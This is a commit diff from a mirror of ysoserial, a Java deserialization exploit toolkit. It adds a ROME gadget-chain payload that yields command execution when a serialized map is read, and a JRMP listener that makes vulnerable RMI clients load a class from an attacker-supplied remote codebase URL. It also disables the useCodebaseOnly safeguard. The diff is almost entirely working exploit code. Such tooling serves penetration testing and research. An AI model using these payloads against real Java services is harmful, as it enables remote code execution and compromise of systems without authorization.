mirror of
https://github.com/frohoff/ysoserial.git
synced 2026-09-22 15:10:43 +08:00
Add rome (RSS/Atom library) gadget chain.
Add exploit and test code for JRMP reverse connect remote classloading.
This commit is contained in:
@@ -0,0 +1,50 @@
|
||||
package ysoserial.exploit;
|
||||
|
||||
|
||||
|
||||
import java.net.URL;
|
||||
|
||||
|
||||
/**
|
||||
* JRMP listener triggering RMI remote classloading
|
||||
*
|
||||
* Opens up an JRMP listener that will deliver a remote classpath class to the calling client.
|
||||
*
|
||||
* Mostly CVE-2013-1537 (presumably, does not state details) with the difference that you don't need
|
||||
* access to an RMI socket when you can deliver {@link ysoserial.payloads.JRMPClient}.
|
||||
*
|
||||
* This only works if
|
||||
* - the remote end is running with a security manager
|
||||
* - java.rmi.server.useCodebaseOnly=false (default until 7u21)
|
||||
* - the remote has the proper permissions to remotely load the class (mostly URLPermission)
|
||||
*
|
||||
* and, of course, the payload class is then run under the security manager with a remote codebase
|
||||
* so either the policy needs to allow whatever you want to do in the payload or you need to combine
|
||||
* with a security manager bypass exploit (wouldn't be the first time).
|
||||
*
|
||||
* @author mbechler
|
||||
*
|
||||
*/
|
||||
public class JRMPClassLoadingListener {
|
||||
|
||||
public static final void main ( final String[] args ) {
|
||||
|
||||
if ( args.length < 3 ) {
|
||||
System.err.println(JRMPClassLoadingListener.class.getName() + " <port> <url> <className>");
|
||||
System.exit(-1);
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
int port = Integer.parseInt(args[ 0 ]);
|
||||
System.err.println("* Opening JRMP listener on " + port);
|
||||
JRMPListener c = new JRMPListener(port, args[2], new URL(args[1]));
|
||||
c.run();
|
||||
}
|
||||
catch ( Exception e ) {
|
||||
System.err.println("Listener error");
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -96,6 +96,14 @@ public class JRMPClient {
|
||||
}
|
||||
|
||||
static final class MarshalOutputStream extends ObjectOutputStream {
|
||||
|
||||
|
||||
private URL sendUrl;
|
||||
|
||||
public MarshalOutputStream (OutputStream out, URL u) throws IOException {
|
||||
super(out);
|
||||
this.sendUrl = u;
|
||||
}
|
||||
|
||||
MarshalOutputStream ( OutputStream out ) throws IOException {
|
||||
super(out);
|
||||
@@ -103,12 +111,15 @@ public class JRMPClient {
|
||||
|
||||
@Override
|
||||
protected void annotateClass ( Class<?> cl ) throws IOException {
|
||||
if ( ! ( cl.getClassLoader() instanceof URLClassLoader ) ) {
|
||||
if ( this.sendUrl != null ) {
|
||||
writeObject(this.sendUrl.toString());
|
||||
} else if ( ! ( cl.getClassLoader() instanceof URLClassLoader ) ) {
|
||||
writeObject(null);
|
||||
}
|
||||
else {
|
||||
URL[] us = ( (URLClassLoader) cl.getClassLoader() ).getURLs();
|
||||
String cb = "";
|
||||
|
||||
for ( URL u : us ) {
|
||||
cb += u.toString();
|
||||
}
|
||||
|
||||
@@ -11,10 +11,12 @@ import java.io.ObjectInputStream;
|
||||
import java.io.ObjectOutputStream;
|
||||
import java.io.ObjectStreamClass;
|
||||
import java.io.OutputStream;
|
||||
import java.io.Serializable;
|
||||
import java.net.InetSocketAddress;
|
||||
import java.net.ServerSocket;
|
||||
import java.net.Socket;
|
||||
import java.net.SocketException;
|
||||
import java.net.URL;
|
||||
import java.rmi.MarshalException;
|
||||
import java.rmi.server.ObjID;
|
||||
import java.rmi.server.UID;
|
||||
@@ -22,6 +24,9 @@ import java.rmi.server.UID;
|
||||
import javax.management.BadAttributeValueExpException;
|
||||
import javax.net.ServerSocketFactory;
|
||||
|
||||
import javassist.ClassClassPath;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import sun.rmi.transport.TransportConstants;
|
||||
import ysoserial.payloads.ObjectPayload.Utils;
|
||||
import ysoserial.payloads.util.Reflections;
|
||||
@@ -47,6 +52,7 @@ public class JRMPListener implements Runnable {
|
||||
private Object waitLock = new Object();
|
||||
private boolean exit;
|
||||
private boolean hadConnection;
|
||||
private URL classpathUrl;
|
||||
|
||||
|
||||
public JRMPListener ( int port, Object payloadObject ) throws NumberFormatException, IOException {
|
||||
@@ -54,6 +60,13 @@ public class JRMPListener implements Runnable {
|
||||
this.payloadObject = payloadObject;
|
||||
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
|
||||
}
|
||||
|
||||
public JRMPListener (int port, String className, URL classpathUrl) throws IOException {
|
||||
this.port = port;
|
||||
this.payloadObject = makeDummyObject(className);
|
||||
this.classpathUrl = classpathUrl;
|
||||
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
|
||||
}
|
||||
|
||||
|
||||
public boolean waitFor ( int i ) {
|
||||
@@ -246,7 +259,7 @@ public class JRMPListener implements Runnable {
|
||||
System.err.println("Sending return with payload");
|
||||
|
||||
out.writeByte(TransportConstants.Return);// transport op
|
||||
ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out);
|
||||
ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);
|
||||
|
||||
oos.writeByte(TransportConstants.ExceptionalReturn);
|
||||
new UID().write(oos);
|
||||
@@ -264,4 +277,24 @@ public class JRMPListener implements Runnable {
|
||||
}
|
||||
}
|
||||
|
||||
protected static Object makeDummyObject (String className) {
|
||||
try {
|
||||
ClassLoader isolation = new ClassLoader() {};
|
||||
ClassPool cp = new ClassPool();
|
||||
cp.insertClassPath(new ClassClassPath(Dummy.class));
|
||||
CtClass clazz = cp.get(Dummy.class.getName());
|
||||
clazz.setName(className);
|
||||
return clazz.toClass(isolation).newInstance();
|
||||
}
|
||||
catch ( Exception e ) {
|
||||
e.printStackTrace();
|
||||
return new byte[0];
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public static class Dummy implements Serializable {
|
||||
private static final long serialVersionUID = 1L;
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
@@ -48,7 +48,7 @@ import ysoserial.payloads.util.PayloadRunner;
|
||||
@SuppressWarnings ( {
|
||||
"restriction"
|
||||
} )
|
||||
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectTest")
|
||||
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest")
|
||||
public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry> {
|
||||
|
||||
public Registry getObject ( final String command ) throws Exception {
|
||||
|
||||
@@ -0,0 +1,45 @@
|
||||
package ysoserial.payloads;
|
||||
|
||||
|
||||
import javax.xml.transform.Templates;
|
||||
|
||||
import com.sun.syndication.feed.impl.ObjectBean;
|
||||
|
||||
import ysoserial.payloads.annotation.Dependencies;
|
||||
import ysoserial.payloads.util.Gadgets;
|
||||
import ysoserial.payloads.util.PayloadRunner;
|
||||
|
||||
/**
|
||||
*
|
||||
* TemplatesImpl.getOutputProperties()
|
||||
* NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
|
||||
* NativeMethodAccessorImpl.invoke(Object, Object[])
|
||||
* DelegatingMethodAccessorImpl.invoke(Object, Object[])
|
||||
* Method.invoke(Object, Object...)
|
||||
* ToStringBean.toString(String)
|
||||
* ToStringBean.toString()
|
||||
* ObjectBean.toString()
|
||||
* EqualsBean.beanHashCode()
|
||||
* ObjectBean.hashCode()
|
||||
* HashMap<K,V>.hash(Object)
|
||||
* HashMap<K,V>.readObject(ObjectInputStream)
|
||||
*
|
||||
* @author mbechler
|
||||
*
|
||||
*/
|
||||
@Dependencies("rome:rome:1.0")
|
||||
public class ROME implements ObjectPayload<Object> {
|
||||
|
||||
public Object getObject ( String command ) throws Exception {
|
||||
Object o = Gadgets.createTemplatesImpl(command);
|
||||
ObjectBean delegate = new ObjectBean(Templates.class, o);
|
||||
ObjectBean root = new ObjectBean(ObjectBean.class, delegate);
|
||||
return Gadgets.makeMap(root, root);
|
||||
}
|
||||
|
||||
|
||||
public static void main ( final String[] args ) throws Exception {
|
||||
PayloadRunner.run(ROME.class, args);
|
||||
}
|
||||
|
||||
}
|
||||
@@ -36,7 +36,9 @@ public class Gadgets {
|
||||
static {
|
||||
// special case for using TemplatesImpl gadgets with a SecurityManager enabled
|
||||
System.setProperty(DESERIALIZE_TRANSLET, "true");
|
||||
|
||||
|
||||
// for RMI remote loading
|
||||
System.setProperty("java.rmi.server.useCodebaseOnly", "false");
|
||||
}
|
||||
|
||||
public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
|
||||
|
||||
Reference in New Issue
Block a user